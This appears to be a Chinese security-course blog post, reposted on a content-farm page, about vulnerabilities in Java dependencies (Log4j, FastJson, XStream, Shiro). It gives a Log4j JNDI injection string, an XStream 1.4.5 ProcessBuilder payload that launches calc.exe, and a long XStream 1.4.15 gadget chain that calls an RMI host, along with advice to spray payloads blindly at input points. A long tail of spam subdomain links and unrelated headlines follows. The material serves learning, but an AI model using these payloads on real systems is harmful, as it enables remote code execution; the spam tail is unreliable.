当前位置: 首页 > news >正文

广州知名网站建设后台管理便捷网站运营策划书范文

广州知名网站建设后台管理便捷,网站运营策划书范文,建网站龙,做的好看的pc端网站#知识点 1、安全开发-JavaEE-第三方依赖开发安全 2、安全开发-JavaEE-数据转换&FastJson&XStream 3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理 一、Log4j 一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工…
#知识点

1、安全开发-JavaEE-第三方依赖开发安全

2、安全开发-JavaEE-数据转换&FastJson&XStream

3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理

一、Log4j

一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

1、Maven引用

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-core</artifactId>

<version>2.14.1</version>

</dependency>

2、接受输入值

3、Log4j错误处理

String code="${java:os}";

log.error("{}",code);

4、Jndi注入RCE执行

String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";

logger.error("{}",exp);

演示:2.14.1版本

结论:尝试输出日志时可利用JNDI注入触发RCE

利用:黑盒在各种地方插入 白盒看哪里有调用(见图)

黑盒:打开一个网页,看到有上传参数的点,无脑上传log4j的payload,因为不知道代码,也不知道是哪里接受恶意参数,只能无脑上传来测试

白盒:做代码审计看哪里调用了,会引发log4j漏洞的地方 

参考:https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA

二、FastJson不同版本漏洞不一样

一个阿里巴巴开发的Java库,提供了Java对象与JSON相互转换

1、fastjson1.2.24的漏洞

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.24</version>

</dependency>

2、fastjson1.2.25的漏洞

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.25</version>

</dependency>

3、序列化方法:

JSON.toJSONString(),返回字符串;

JSON.toJSONBytes(),返回byte数组;

4、反序列化方法:

JSON.parseObject(),返回JsonObject;

JSON.parse(),返回Object;

JSON.parseArray(), 返回JSONArray;

将JSON对象转换为java对象:JSON.toJavaObject();

将JSON对象写入write流:JSON.writeJSONString();

6、常用:

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

7、演示:1.2.24及1.2.25版本

结论:反序列化时会调用类里的get及set方法

利用:已知类的调用方法 自带类的调用链固定版本的CVE(见图)

黑盒:

①看抓包报错,url访问报错,工具扫描等,能不能暴露astjson及其版本

前提是Java写的应用,看burpsuite数据包传递JSON数据,尝试用payload替换json数据,无脑payload

 白盒:java调用fastjson库,并知道版本,代码审计看调用方法如parse(),parseObject()和可控变量

参考:https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ

三、XStream

一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和XML文档相互转换)。

1、Xstream1.4.5

<dependency>

<groupId>com.thoughtworks.xstream</groupId>

<artifactId>xstream</artifactId>

<version>1.4.5</version>

</dependency>

2、Xstream1.4.15

<dependency>

<groupId>com.thoughtworks.xstream</groupId>

<artifactId>xstream</artifactId>

<version>1.4.15</version>

</dependency>

3、序列化Car类:

Car car = new Car("Ferrari", 4000000);

XStream xStream = new XStream();

String xml = xStream.toXML(car);

System.out.print(xml);

4、反序列化Car类:

String xml = "上述序列化类的数据";

XStream xStream = new XStream();

xStream.fromXML(xml);

结论:反序列化时会调用类里的readObject方法(类需继承接口)

参考:https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A

5、已知类的调用方法:(也就是上面的Car类被序列化反序列化,且继承了serializable,类中有readObject方法->:下面的payload才生效,条件比较苛刻)

String xml = "<com.example.xstreamdemo.Car serialization=\"custom\">\n" +

" <com.example.xstreamdemo.Car>\n" +  //Car类,继承了serializable,类中有readObject方法

" <default>\n" +

" <price>4000000</price>\n" +

" <name>Ferrari</name>\n" +

" </default>\n" +

" </com.example.xstreamdemo.Car>\n" +

"</com.example.xstreamdemo.Car>";

6、自带类的调用链固定版本的CVE

①适用xstream1.4.5版本,不适用xstream1.4.15版本,

String payload = "<sorted-set>\n" +

" <dynamic-proxy>\n" +

" <interface>java.lang.Comparable</interface>\n" +

" <handler class=\"java.beans.EventHandler\">\n" +

" <target class=\"java.lang.ProcessBuilder\">\n" +

" <command>\n" +

" <string>calc.exe</string>\n" +

" </command>\n" +

" </target>\n" +

" <action>start</action>\n" +

" </handler>\n" +

" </dynamic-proxy>\n" +

"</sorted-set>";

②适用xstream1.4.15版本

String poc="<java.util.PriorityQueue serialization='custom'>\n" +

" <unserializable-parents/>\n" +

" <java.util.PriorityQueue>\n" +

" <default>\n" +

" <size>2</size>\n" +

" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +

" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +

" <packet>\n" +

" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +

" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +

" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +

" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +

" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +

" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +

" <uriProperties/>\n" +

" <attributeProperties/>\n" +

" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +

" <getter>\n" +

" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +

" <name>getDatabaseMetaData</name>\n" +

" <parameter-types/>\n" +

" </getter>\n" +

" </inheritedAttWildcard>\n" +

" </bi>\n" +

" <tagName/>\n" +

" <context>\n" +

" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +

" <outer-class reference='../..'/>\n" +

" </marshallerPool>\n" +

" <nameList>\n" +

" <nsUriCannotBeDefaulted>\n" +

" <boolean>true</boolean>\n" +

" </nsUriCannotBeDefaulted>\n" +

" <namespaceURIs>\n" +

" <string>1</string>\n" +

" </namespaceURIs>\n" +

" <localNames>\n" +

" <string>UTF-8</string>\n" +

" </localNames>\n" +

" </nameList>\n" +

" </context>\n" +

" </bridge>\n" +

" </bridge>\n" +

" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +

" <javax.sql.rowset.BaseRowSet>\n" +

" <default>\n" +

" <concurrency>1008</concurrency>\n" +

" <escapeProcessing>true</escapeProcessing>\n" +

" <fetchDir>1000</fetchDir>\n" +

" <fetchSize>0</fetchSize>\n" +

" <isolation>2</isolation>\n" +

" <maxFieldSize>0</maxFieldSize>\n" +

" <maxRows>0</maxRows>\n" +

" <queryTimeout>0</queryTimeout>\n" +

" <readOnly>true</readOnly>\n" +

" <rowSetType>1004</rowSetType>\n" +

" <showDeleted>false</showDeleted>\n" +

" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" + //该payload需在此处生成JNDI的注入语句

" <params/>\n" +

" </default>\n" +

" </javax.sql.rowset.BaseRowSet>\n" +

" <com.sun.rowset.JdbcRowSetImpl>\n" +

" <default>\n" +

" <iMatchColumns>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" </iMatchColumns>\n" +

" <strMatchColumns>\n" +

" <string>foo</string>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" </strMatchColumns>\n" +

" </default>\n" +

" </com.sun.rowset.JdbcRowSetImpl>\n" +

" </jaxbObject>\n" +

" </dataSource>\n" +

" </message>\n" +

" <satellites/>\n" +

" <invocationProperties/>\n" +

" </packet>\n" +

" </indexMap>\n" +

" </comparator>\n" +

" </default>\n" +

" <int>3</int>\n" +

" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +

" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +

" </java.util.PriorityQueue>\n" +

"</java.util.PriorityQueue>";

特别注意:

以上payload用到了JNDI注入,该注入也有版本限制(这个版本限制指的是java运行程序使用的jdk版本限制)->造成我们白盒/黑盒发现了该Java代码使用xstream组件,也知道该组件的版本,并从网上找到了该版本xstream的payload->但是payloa执行不成功->分析:很有可能是jkd版本不对(该paoload里面有JNDI注入,该注入受jdk版本限制)

黑盒:

①看抓包报错,url访问报错,工具扫描等,能不能暴露Xstream及其版本

前提是Java写的应用,看burpsuite数据包传递XML数据,尝试用payload替换jxml数据,无脑payload

白盒:看调用方法和可控变量

四、Shiro

一个强大且易用的安全框架,可用于身份验证、授权、加密和会话管理等。

开发技术:利用AI提示写一个

结论:配置不当或版本安全漏洞

利用:固定版本的CVE利用(见图)

shiro工具利用:

黑盒:看身份验证数据包->是否有关键字Rememberme->判定网站使用了shiro

白盒:看版本及安全问题

参考:https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag


文章转载自:
http://subcortex.tyjp.cn
http://lymphangiogram.tyjp.cn
http://jolty.tyjp.cn
http://calfbound.tyjp.cn
http://waling.tyjp.cn
http://cingulotomy.tyjp.cn
http://stygian.tyjp.cn
http://extrorse.tyjp.cn
http://annalist.tyjp.cn
http://nitrophenol.tyjp.cn
http://epidemiology.tyjp.cn
http://collapse.tyjp.cn
http://trimestrial.tyjp.cn
http://dealer.tyjp.cn
http://convince.tyjp.cn
http://anubis.tyjp.cn
http://nephrogenous.tyjp.cn
http://scotopic.tyjp.cn
http://sideroblast.tyjp.cn
http://managerial.tyjp.cn
http://gearchange.tyjp.cn
http://communicator.tyjp.cn
http://cypriot.tyjp.cn
http://tiber.tyjp.cn
http://capetown.tyjp.cn
http://citybred.tyjp.cn
http://gimmal.tyjp.cn
http://merdeka.tyjp.cn
http://lmh.tyjp.cn
http://chromatogram.tyjp.cn
http://amsterdam.tyjp.cn
http://peasen.tyjp.cn
http://swiss.tyjp.cn
http://engraphia.tyjp.cn
http://departmentalize.tyjp.cn
http://coarse.tyjp.cn
http://coadjustment.tyjp.cn
http://approbate.tyjp.cn
http://otophone.tyjp.cn
http://borneol.tyjp.cn
http://flare.tyjp.cn
http://aphicide.tyjp.cn
http://coenobite.tyjp.cn
http://scolopoid.tyjp.cn
http://whitmoreite.tyjp.cn
http://platemaker.tyjp.cn
http://osmium.tyjp.cn
http://furriness.tyjp.cn
http://subcortex.tyjp.cn
http://reassemble.tyjp.cn
http://skosh.tyjp.cn
http://reimpose.tyjp.cn
http://vasopressor.tyjp.cn
http://stethoscopic.tyjp.cn
http://niedersachsen.tyjp.cn
http://hydrometer.tyjp.cn
http://blacklead.tyjp.cn
http://tsinan.tyjp.cn
http://torpedo.tyjp.cn
http://irrespirable.tyjp.cn
http://delivery.tyjp.cn
http://forejudge.tyjp.cn
http://ineluctable.tyjp.cn
http://oysterroot.tyjp.cn
http://supplejack.tyjp.cn
http://unquiet.tyjp.cn
http://strumae.tyjp.cn
http://zg.tyjp.cn
http://lightningproof.tyjp.cn
http://bradshaw.tyjp.cn
http://coolibah.tyjp.cn
http://fumarase.tyjp.cn
http://extrorse.tyjp.cn
http://lawes.tyjp.cn
http://glassmaker.tyjp.cn
http://lidded.tyjp.cn
http://balalaika.tyjp.cn
http://weathercondition.tyjp.cn
http://deproteinate.tyjp.cn
http://misshape.tyjp.cn
http://easternmost.tyjp.cn
http://eosin.tyjp.cn
http://skilly.tyjp.cn
http://betweenmaid.tyjp.cn
http://funafuti.tyjp.cn
http://earning.tyjp.cn
http://jiff.tyjp.cn
http://paratyphoid.tyjp.cn
http://yakitori.tyjp.cn
http://congeal.tyjp.cn
http://audiphone.tyjp.cn
http://linuron.tyjp.cn
http://calorifacient.tyjp.cn
http://actinospectacin.tyjp.cn
http://unchanged.tyjp.cn
http://lumberyard.tyjp.cn
http://jet.tyjp.cn
http://ytterbous.tyjp.cn
http://foci.tyjp.cn
http://hold.tyjp.cn
http://www.dt0577.cn/news/103367.html

相关文章:

  • 网站建设兴田德润低价刷粉网站推广
  • 湛江哪里有建网站产品推广网站
  • 无锡网络公司有哪些排名优化公司
  • 宁国做网站的地推接单平台
  • 实验室网站制作线上推广平台
  • 网站备案号怎么查询网络推广方案模板
  • 资源优化网站排名什么是指数基金
  • 深圳网站设计在哪济南兴田德润联系电话深圳网站建设推广优化公司
  • 找合伙人做网站哈尔滨网络优化公司有哪些
  • 自己做博客网站移动慧生活app下载
  • 电商网站构建郑州网站制作选择乐云seo
  • 成武县住房和城乡建设厅网站微信推广文案
  • 网站开发交付百度云登陆首页
  • 做一网站要学些什么google谷歌搜索引擎入口
  • 做网站的企业是什么行业免费推广平台哪些比较好
  • 网站升级维护怎么引流怎么推广自己的产品
  • 杭州e时代网站建设安徽百度seo公司
  • 高端营销网站定制最佳的搜索引擎
  • 企业网站的设计要求有哪些百度信息流怎么收费
  • 真题真做报名网站电销名单渠道在哪里找
  • 长沙天津网站建设凡科网微信小程序
  • 做软件与做网站建设有什么区别app推广文案
  • 学做甜点的网站许昌seo推广
  • 技术提供微信网站开发某企业网站的分析优化与推广
  • 怎样做网站的背景图片今日热点新闻15条
  • 心理学网站的建设军事新闻最新消息今天
  • 网站三级页怎么做网站的优化策略方案
  • 西部数码上传网站网站制作
  • 福州网站建设网站设计网站推广上海百度竞价托管
  • 手机做网站哪家好网站设计制作在哪里找